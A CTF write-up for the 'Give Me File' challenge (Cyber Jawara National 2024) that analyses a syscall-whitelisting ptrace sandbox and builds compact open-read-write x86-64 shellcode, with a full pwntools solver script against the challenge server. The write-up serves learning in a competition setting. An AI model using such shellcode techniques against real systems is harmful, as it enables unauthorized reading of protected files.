🚩
nabilmuafa's CTF Notes
  • Intro
  • 🖊️Write-ups
    • 2025 Writeups
      • Cyber Jawara National 2024 - General Category
        • Give Me File
        • U-AFF Arigatou STY :( - Upsolved
        • ASM Raw
        • pyrip
        • py50
    • 2024 Writeups
      • Cyber Jawara International 2024
        • Persona
      • Gemastik Keamanan Siber 2024 Quals
        • Baby Ulala (Upsolved)
      • ARA CTF 5.0 Quals
        • lemfao (Upsolved)
  • Random Writeups
    • Attacking 2-Round AES with 1 Known Plaintext
Powered by GitBook
On this page
  • Problem Description
  • Analysis
  • runner.main()
  • sandbox.main()
  • sandbox.run_target()
  • sandbox.run_debugger()
  • Solution Breakdown
  • Initial Shellcode Crafting
  • Shellcode Optimization
  • Flag
  • Full Solver Script
  1. Write-ups
  2. 2025 Writeups
  3. Cyber Jawara National 2024 - General Category

Give Me File

Restricted shellcode, limited characters and whitelist seccomp.

Last updated 4 months ago

Problem Description

I want to get the flag file with a shellcode but the char is limited :(.

Author: farisv

Analysis

We are given two binaries, called runner and sandbox. Checking them in checksec shows that both of them has full protection.

We're also given a Dockerfile, which shows an important information: the flag's file name on the server. The flag file name is unusually long, so this could potentially be a part of the challenge.

FROM ubuntu:24.04

RUN apt-get update && \
    apt-get install -y socat coreutils && \
    rm -rf /var/lib/apt/lists/*

RUN useradd -m tempuser

WORKDIR /app

COPY runner /app/runner
COPY sandbox /app/sandbox
COPY flag.txt /flagggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggggg.txt

RUN chmod +x /app/runner && \
    chown tempuser:tempuser /app/runner && \
    chmod +x /app/sandbox && \
    chown tempuser:tempuser /app/sandbox

USER tempuser

EXPOSE 10002

CMD ["sh", "-c", "socat -d -d TCP4-LISTEN:10002,reuseaddr,fork EXEC:'/app/sandbox /app/runner',pty,stderr,setsid,sigint,sane"]%

Here, I've decompiled some of the important functions from both binaries to examine.

runner.main()

  long lVar1;
  size_t __len;
  code *pcVar2;
  char *__s;
  undefined8 uVar3;
  ulong uVar4;
  long lVar5;
  ulong *puVar6;
  long in_FS_OFFSET;
  ulong local_68;
  char *local_60;
  ulong local_58;
  code *local_50;
  long local_48;
  char *local_40;
  size_t local_38;
  code *local_30;
  char local_23;
  char local_22;
  undefined local_21;
  long local_20;
  
  puVar6 = &local_68;
  local_20 = *(long *)(in_FS_OFFSET + 0x28);
  init(param_1);
  local_58 = 700;
  local_50 = (code *)mmap((void *)0x0,700,7,0x22,-1,0);
  if (local_50 == (code *)0xffffffffffffffff) {
    perror("mmap failed");
    uVar3 = 1;
  }
  else {
    puts("Enter your shellcode in hexadecimal format (e.g., \\x90\\x90\\x90) max 700 chars:");
    local_48 = local_58 - 1;
    uVar4 = ((local_58 + 0xf) / 0x10) * 0x10;
    for (; puVar6 != (ulong *)((long)&local_68 - (uVar4 & 0xfffffffffffff000));
        puVar6 = (ulong *)((long)puVar6 + -0x1000)) {
      *(undefined8 *)((long)puVar6 + -8) = *(undefined8 *)((long)puVar6 + -8);
    }
    lVar1 = -(ulong)((uint)uVar4 & 0xfff);
    if ((uVar4 & 0xfff) != 0) {
      *(undefined8 *)((long)puVar6 + ((ulong)((uint)uVar4 & 0xfff) - 8) + lVar1) =
           *(undefined8 *)((long)puVar6 + ((ulong)((uint)uVar4 & 0xfff) - 8) + lVar1);
    }
    uVar4 = local_58;
    local_40 = (char *)((long)puVar6 + lVar1);
    *(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1013c9;
    fgets((char *)((long)puVar6 + lVar1),(int)uVar4,stdin);
    __s = local_40;
    *(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1013d5;
    local_38 = strlen(__s);
    if ((local_38 != 0) && (local_40[local_38 - 1] == '\n')) {
      local_40[local_38 - 1] = '\0';
    }
    local_68 = 0;
    local_60 = local_40;
    while ((*local_60 != '\0' && (local_68 < local_58))) {
      if ((*local_60 == '\\') && (local_60[1] == 'x')) {
        local_23 = local_60[2];
        local_22 = local_60[3];
        local_21 = 0;
        *(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x101460;
        lVar5 = strtol(&local_23,(char **)0x0,0x10);
        local_50[local_68] = SUB81(lVar5,0);
        local_60 = local_60 + 4;
        local_68 = local_68 + 1;
      }
      else {
        local_60 = local_60 + 1;
      }
    }
    *(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1014ae;
    puts("Executing shellcode...");
    pcVar2 = local_50;
    local_30 = local_50;
    *(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1014c1;
    (*pcVar2)();
    pcVar2 = local_50;
    __len = local_58;
    *(undefined8 *)((long)puVar6 + lVar1 + -8) = 0x1014d4;
    munmap(pcVar2,__len);
    uVar3 = 0;
  }
  if (local_20 != *(long *)(in_FS_OFFSET + 0x28)) {
                    /* WARNING: Subroutine does not return */
    __stack_chk_fail();
  }
  return uVar3;

sandbox.main()

  __pid_t _Var1;
  undefined8 uVar2;
  
  init(len_arg);
  if ((int)len_arg < 2) {
    fprintf(stderr,"Run: %s [program]\n",*args);
    uVar2 = 0xffffffff;
  }
  else {
    _Var1 = fork();
    if (_Var1 == 0) {
      run_target(args[1]);
    }
    else {
      if (_Var1 < 1) {
        fwrite("Fork error",1,10,stderr);
        return 0xffffffff;
      }
      run_debugger(_Var1);
    }
    uVar2 = 0;
  }
  return uVar2;

sandbox.run_target()

  long lVar1;
  
  lVar1 = ptrace(PTRACE_TRACEME,0,0,0);
  if (lVar1 < 0) {
    fwrite("Error ptrace\n",1,0xd,stderr);
  }
  else {
    execl(param_1,param_1,0);
  }
  return;

sandbox.run_debugger()

  long lVar1;
  long in_FS_OFFSET;
  uint local_100;
  int local_fc;
  int local_f8;
  __pid_t local_f4;
  int local_f0;
  int local_ec;
  undefined local_e8 [120];
  ulong local_70;
  undefined8 local_10;
  
  local_10 = *(undefined8 *)(in_FS_OFFSET + 0x28);
  local_f4 = waitpid(param_1,(int *)&local_100,0);
  if ((local_f4 == -1) || ((local_100 & 0xff) != 0x7f)) {
    kill_process(param_1);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  lVar1 = ptrace(PTRACE_SETOPTIONS,(ulong)param_1,0,1);
  local_f0 = (int)lVar1;
  if (local_f0 != 0) {
    kill_process(param_1);
                    /* WARNING: Subroutine does not return */
    exit(1);
  }
  while( true ) {
    ptrace(PTRACE_SYSCALL,(ulong)param_1,0,0);
    local_f4 = waitpid(param_1,(int *)&local_100,0);
    if ((local_f4 == -1) || (local_f4 == 0)) {
      puts("[Sandbox] Error waitpid");
      kill_process(param_1);
                    /* WARNING: Subroutine does not return */
      exit(1);
    }
    if ((local_100 & 0x7f) == 0) goto LAB_001016a4;
    if ('\0' < (char)(((byte)local_100 & 0x7f) + 1) >> 1) {
      puts("[Sandbox] Unhandled signal");
      goto LAB_001016a4;
    }
    if ((local_100 & 0x80) != 0) {
      puts("[Sandbox] Runtime Error");
      goto LAB_001016a4;
    }
    if ((local_100 & 0xff) != 0x7f) goto LAB_001016a4;
    if (((int)local_100 >> 8 & 0xffU) < 0x21) break;
    ptrace(PTRACE_GETREGS,(ulong)param_1,0,local_e8);
    local_ec = (int)local_70;
    local_fc = 0;
    for (local_f8 = 0; local_f8 < syscall_len; local_f8 = local_f8 + 1) {
      if (local_ec == *(int *)(syscall_numbers + (long)local_f8 * 4)) {
        local_fc = 1;
      }
    }
    if (local_fc == 0) {
      fprintf(stderr,"[Sandbox] Forbidden syscall (%d) detected. Kill the program.",
              local_70 & 0xffffffff);
      kill_process(param_1);
LAB_001016a4:
                    /* WARNING: Subroutine does not return */
      exit(0);
    }
  }
  if ((local_100 & 0xff00) == 0xb00) {
    puts("[Sandbox] Segmentation Fault");
  }
  else if ((local_100 & 0xff00) == 0x400) {
    puts("[Sandbox] Illegal Instruction");
  }
  else if ((local_100 & 0xff00) == 0x700) {
    puts("[Sandbox] Bus Error");
  }

From the decompilation, the program's main (intended) flow is pretty straightforward:

  • runner is run from sandbox (in simpler terms, ./sandbox ./runner). Sandbox acts as a wrapper to "monitor" runner's process.

  • runner asks for shellcode with a maximum of 700 characters (175 bytes).

  • From the shellcode, sandbox decides whether the syscalls from the shellcode are all allowed or not. If a syscall isn't on the whitelist, the process gets killed. Otherwise, the shellcode gets executed.

For the inputted shellcode itself, there are two limitations: from length (only 700 chars/175 bytes allowed) and seccomp, which keywords can be seen throughout sandbox's run_debugger. The binary doesn't use the usual seccomp library, so we can't use seccomp-tools. Because of that, we need to do a manual analysis to find what syscalls are being banned. In run_debugger, we have this.

for (local_f8 = 0; local_f8 < syscall_len; local_f8 = local_f8 + 1) {
      if (local_ec == *(int *)(syscall_numbers + (long)local_f8 * 4)) {
        local_fc = 1;
      }
    }
    if (local_fc == 0) {
      fprintf(stderr,"[Sandbox] Forbidden syscall (%d) detected. Kill the program.",
              local_70 & 0xffffffff);
      kill_process(param_1);
// ...

There are global variables syscall_numbers and syscall_len. Looking at the loop, it goes through the syscall numbers and sets local_fc to 1 if the current syscall number being examined from the shellcode matches any of the iterated. From here, we know that syscall_numbers contains allowed syscalls instead of banned syscalls. From syscall_len, we know that there are 20 allowed syscalls, and we can see them using Ghidra.

After mapping the syscall numbers to its syscall operation, here are the allowed syscalls:

  • 0x0 (read)

  • 0x1 (write)

  • 0x2 (open)

  • 0x3 (close)

  • 0x4 (stat)

  • 0x5 (fstat)

  • 0x9 (mmap)

  • 0xa (mprotect)

  • 0xb (munmap)

  • 0xc (brk)

  • 0x11 (rt_sigaction)

  • 0x15 (access)

  • 0x3c (exit)

  • 0x9e (arch_prctl)

  • 0xda (set_tid_address)

  • 0x101 (openat)

  • 0x111 (set_robust_list)

  • 0x12e (prlimit64)

  • 0x13e (getrandom)

  • 0x14e (rseq)

Solution Breakdown

From here, it's safe to say that the intention of the problemsetter was to make us perform open-read-write (ORW) to read the flag file from the server, since get shell syscalls like execve aren't being whitelisted but ORW shellcodes are. But, as previously mentioned, the flag file name is unusually long. Now, the challenge is how can we craft a <= 175 bytes shellcode that writes the long flag file name into memory and still fits the entirety of the ORW shellcode?

Initial Shellcode Crafting

Initially, I came up with this assembly code, soon-to-be converted to shellcode:

xor rax, rax
mov rcx, 0x67676767616c662f  // /flagggg
mov [rsp], rcx
mov rax, 0x6767676767676767  // gggggggg
mov [rsp+8], rax
mov rax, 0x6767676767676767  // gggggggg
mov [rsp+16], rax
mov rax, 0x6767676767676767  // gggggggg
mov [rsp+24], rax
mov rax, 0x6767676767676767  // gggggggg
mov [rsp+32], rax
mov rax, 0x6767676767676767  // gggggggg
mov [rsp+40], rax
...
mov rax, 0x6767676767676767  // gggggggg
mov [rsp+192], rax
mov rax, 0x7478742e67676767  // gggg.txt
mov [rsp+200], rax
mov QWORD PTR [rsp+208], 0   // null terminator
mov rdi, rsp

// open
mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall

// read
mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall

// write
mov rax, 1
mov rdi, 1
syscall

// exit
mov rax, 60
xor rdi, rdi
syscall

Yes, this is ridiculously inefficient because initially, I forgot loops exist in assembly. It does the job though: writes the long flag file name into memory, stores it to the stack, then pointed by rdi, then used to perform ORW. But it exceeds the limitations mentioned, because apparently the shellcode is more than 175 bytes long.

Shellcode Optimization

We can optimize this assembly in two ways:

  • No need to mov rax, 0x6767...before every mov [rsp+i], raxinstructions. The raxregister content stays the same, so no need to move the exact same value repeatedly to the exact same register.

  • Use loops.

Here's the final assembly I came up with.

xor rax, rax
mov rcx, 0x67676767616c662f
mov [rsp], rcx
mov rax, 0x6767676767676767
mov [rsp+8], rax
mov rcx, 24

mov [rsp+rcx*8], rax
dec rcx
jnz $-7

mov rcx, 0x7478742e67676767
mov [rsp+200], rcx
mov QWORD PTR [rsp+208], 0
mov rdi, rsp

mov rax, 2
xor rsi, rsi
xor rdx, rdx
syscall

mov rdi, rax
xor rax, rax
mov rsi, rsp
mov rdx, 0x50
syscall

mov rax, 1
mov rdi, 1
syscall

mov rax, 60
xor rdi, rdi
syscall

This gives us just 142 bytes of shellcode, which is more than enough! Compiling the assembly to shellcode, then converting it to the bytes format (\x prefix) and sending it to the server gives us the flag.

Flag

CJ{7f1fdbd71a25cc6be8f6fa7c49f73cc2}

Full Solver Script

#!/usr/bin/python3
from pwn import *

elf = ELF("runner_patched")
libc = ELF("./libc.so.6")
ld = ELF("./ld-linux-x86-64.so.2")
# rop = ROP(elf.path)

context.binary = elf

SERVER = '159.89.193.103 10002'
HOST, PORT = SERVER.split() if SERVER != '' else (0, 0)

gs = '''
continue
'''

# context.log_level = 'debug'


def start():
    if args.GDB:
        context.terminal = ["tmux", "new-window"]
        return gdb.debug(elf.path, gdbscript=gs)
    elif args.REMOTE:
        return remote(HOST, PORT)
    else:
        return process([elf.path])


def main():
    global io

    io = start()
    payload = asm("""xor rax, rax
    mov rcx, 0x67676767616c662f
    mov [rsp], rcx
    mov rax, 0x6767676767676767
    mov [rsp+8], rax
    mov rcx, 24

    mov [rsp+rcx*8], rax
    dec rcx
    jnz $-7

    mov rcx, 0x7478742e67676767
    mov [rsp+200], rcx
    mov QWORD PTR [rsp+208],0
    mov rdi, rsp

    mov rax, 2
    xor rsi, rsi
    xor rdx, rdx
    syscall

    mov rdi, rax
    xor rax, rax
    mov rsi, rsp
    mov rdx, 0x50
    syscall

    mov rax, 1
    mov rdi, 1
    syscall

    mov rax, 60
    xor rdi, rdi
    syscall""")
    payload = "".join([f"\\x{c:02x}" for c in payload]).encode()

    io.sendlineafter(b"chars:", payload)

    io.interactive()


if __name__ == '__main__':
    main()
🖊️
Both the binaries has full protection.
Syscalls numbers' length.
The allowed shellcodes in four bytes.
Sending the shellcode payload to the server.